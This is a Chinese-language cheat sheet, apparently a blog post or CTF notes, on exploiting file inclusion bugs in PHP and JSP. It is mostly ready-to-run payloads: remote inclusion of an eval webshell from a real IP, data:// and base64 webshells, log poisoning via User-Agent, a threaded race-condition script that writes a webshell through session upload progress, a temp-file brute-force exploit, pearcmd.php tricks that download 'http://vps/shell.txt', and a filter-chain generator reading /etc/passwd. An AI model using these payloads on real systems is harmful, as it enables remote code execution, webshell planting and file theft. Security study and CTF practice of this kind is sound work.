文件包含漏洞
1 |
|
如上文件就存在文件包含漏洞,可将任意文件包含到当前页面,可能还会引发代码执行和命令执行
java和php语言的文件包含
1 | <!--#include file="1.asp" --> |
<%@ include file="head.jsp"%>
是静态包含,在jar包或者war包运行时就已编译为class文件包含,只能包含网站路径文件<jsp:include page="head.jsp"/>
是动态包含,传入变量时再包含,只能包含网站路径文件<c:import url="http://thief.one/1.jsp">
动态远程包含
利用方式
远程文件包含
1
2
3
4
5
6?c=http://139.224.247.105/test.txt
#test.txt
eval($_POST['cmd']);
POST
cmd=show_source('flag.php');php伪协议包含
1
2
3?c=data://text/plain, echo "HackerQWQ";
?c=data://text/plain, eval($_POST['cmd']);
?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==包含日志文件
日志位置:
1
2/var/log/nginx/access.log
/var/log/apache2/access.log同时修改User-Agent包含恶意代码
1
User-Agent: <?php system('hd flag.php');?>
payload:
1
2?c=/var/log/apache2/access.log
User-Agent: <?php system('hd flag.php');?>phpinfo配合文件包含
前提条件:
- 存在phpinfo页面
- 网络条件好
当文件上传的时候phpinfo页面中会回显上传文件的临时文件名名,如果此时开另一个线程读取文件名的话就能成功进行包含。
windows通配符利用
前提条件:windows环境
上传webshell的同时包含temp目录下的随机文件名
C:\Windows\Temp\php<<
session.upload_progress与session文件包含
php.ini默认配置选项
1
2
3
4
5
61. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"其实这里,我们只需要了解前四个配置选项即可
enabled=on
表示upload_progress
功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;cleanup=on
表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;name
当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;prefix+name
将表示为session中的键名利用条件:
- 目标环境开启了
session.upload_progress.enable
选项 - 发送一个文件上传请求,其中包含一个文件表单和一个名字是
PHP_SESSION_UPLOAD_PROGRESS
的字段 - 请求的Cookie中包含Session ID
session.upload_progress.cleanup
关闭或开启都可以
原理:用户上传的表单满足利用条件的话,上传的文件数据就会被保存到session文件中,此时包含的话就能利用成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)脚本执行完毕后会在目标中写入
/tmp/success
文件,里面即为Webshell:- 目标环境开启了
Segfault遗留下TEMP文件
当程序因为某些原因crash的时候,上传的临时文件就会遗留在系统中,此时对临时文件名进行包含的话就能利用成功,增加
crash的语句
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65#7.1.20以前可用
#该方法仅适用于以下php7版本,php5并不存在该崩溃:
#• php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
#• php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
#• php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
include 'php://filter/string.strip_tags/resource=/etc/passwd';
同时上传文件即可生成/tmp/phpxxxxxx(x由a-z,A-Z,0-9组成)
#convert.quoted-printable-encode
这个崩溃并不适用于include,require等函数,适用于file函数,file_get_contents函数,readfile函数
#• php7.0.0-7.0.32
#• php7.0.4-7.2.12
#• php<=5.6.38的版本
#5.6.39-5.6.9以内的版本并不存在这个崩溃
file_get_contents($_GET[a]);
payload:
index.php?a=php://filter/convert.quoted-printable-encode/resource=/etc/passwd
在包含的同时要给此存在文件包含的php文件post一个文件,然后用脚本去爆破这个文件即可。
放一个xctf final的exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import string
charset = string.digits + string.letters
host = "10.99.99.16"
port = 80
base_url = "http://%s:%d" % (host, port)
def brute_force_tmp_files():
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = i + j + k + l + m + n
url = "%s/index.php?function=extract&file=/tmp/php%s" % (base_url, filename) #url根据实际情况改下参数就行
print url
try:
response = requests.get(url)
if 'wwwwwwwwwwwwww' in response.content: #可以利用burp 多线程上传文件
print "[+] Include success!"
return True
except Exception as e:
print e
return False
def main():
brute_force_tmp_files()
if __name__ == "__main__":
main()
或
file(urldecode('php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAFAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA'));
# 不过在文件包含场景下,这个POC涉及到`data:`协议,会因为allow_url_include=Off而失败。我们可以尝试多次crash,遗留多个temp文件,这样爆破起来就简单了
自包含
也就是自己包含自己,比如index.php?file=index.php,这样也会生成临时文件,但是这样不够稳定,影响服务器性能,推荐前面两种方法。
percmd.php的利用
前提条件:
- 开启了perl
- 开启
register_argc_argv
选项,在docker中默认开启
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定
--with-pear
才会安装。原理看p牛的博客:https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
我们通过Web访问了pear命令行的功能,且能够控制命令行的参数。
常用的方法是使用config-create创建shell文件以及文件下载
1
2index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
index.php?+install+-R+/tmp+http://vps/shell.txt&file=/usr/local/lib/php/pearcmd.phppearcmd.php文件常出现的位置有
1
2/usr/share/php/pearcmd.php
/usr/local/lib/php/pearcmd.php发送这个数据包,目标将会写入一个文件
/tmp/hello.php
,其内容包含<?=phpinfo()?>
:然后,我们再利用文件包含漏洞包含这个文件即可getshell:
最后这个利用方法,无需条件竞争,也没有额外其他的版本限制等,只要是Docker启动的PHP环境即可通过上述一个数据包搞定。
无文件LFI
原理:利用iconv和base64-decode无文件lfi
参考地址:https://blog.csdn.net/rfrder/article/details/122326155
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
// $final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";
$final_payload = "php://filter/{$filters}/resource=/etc/passwd&0=id";
echo($final_payload);
参考链接
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html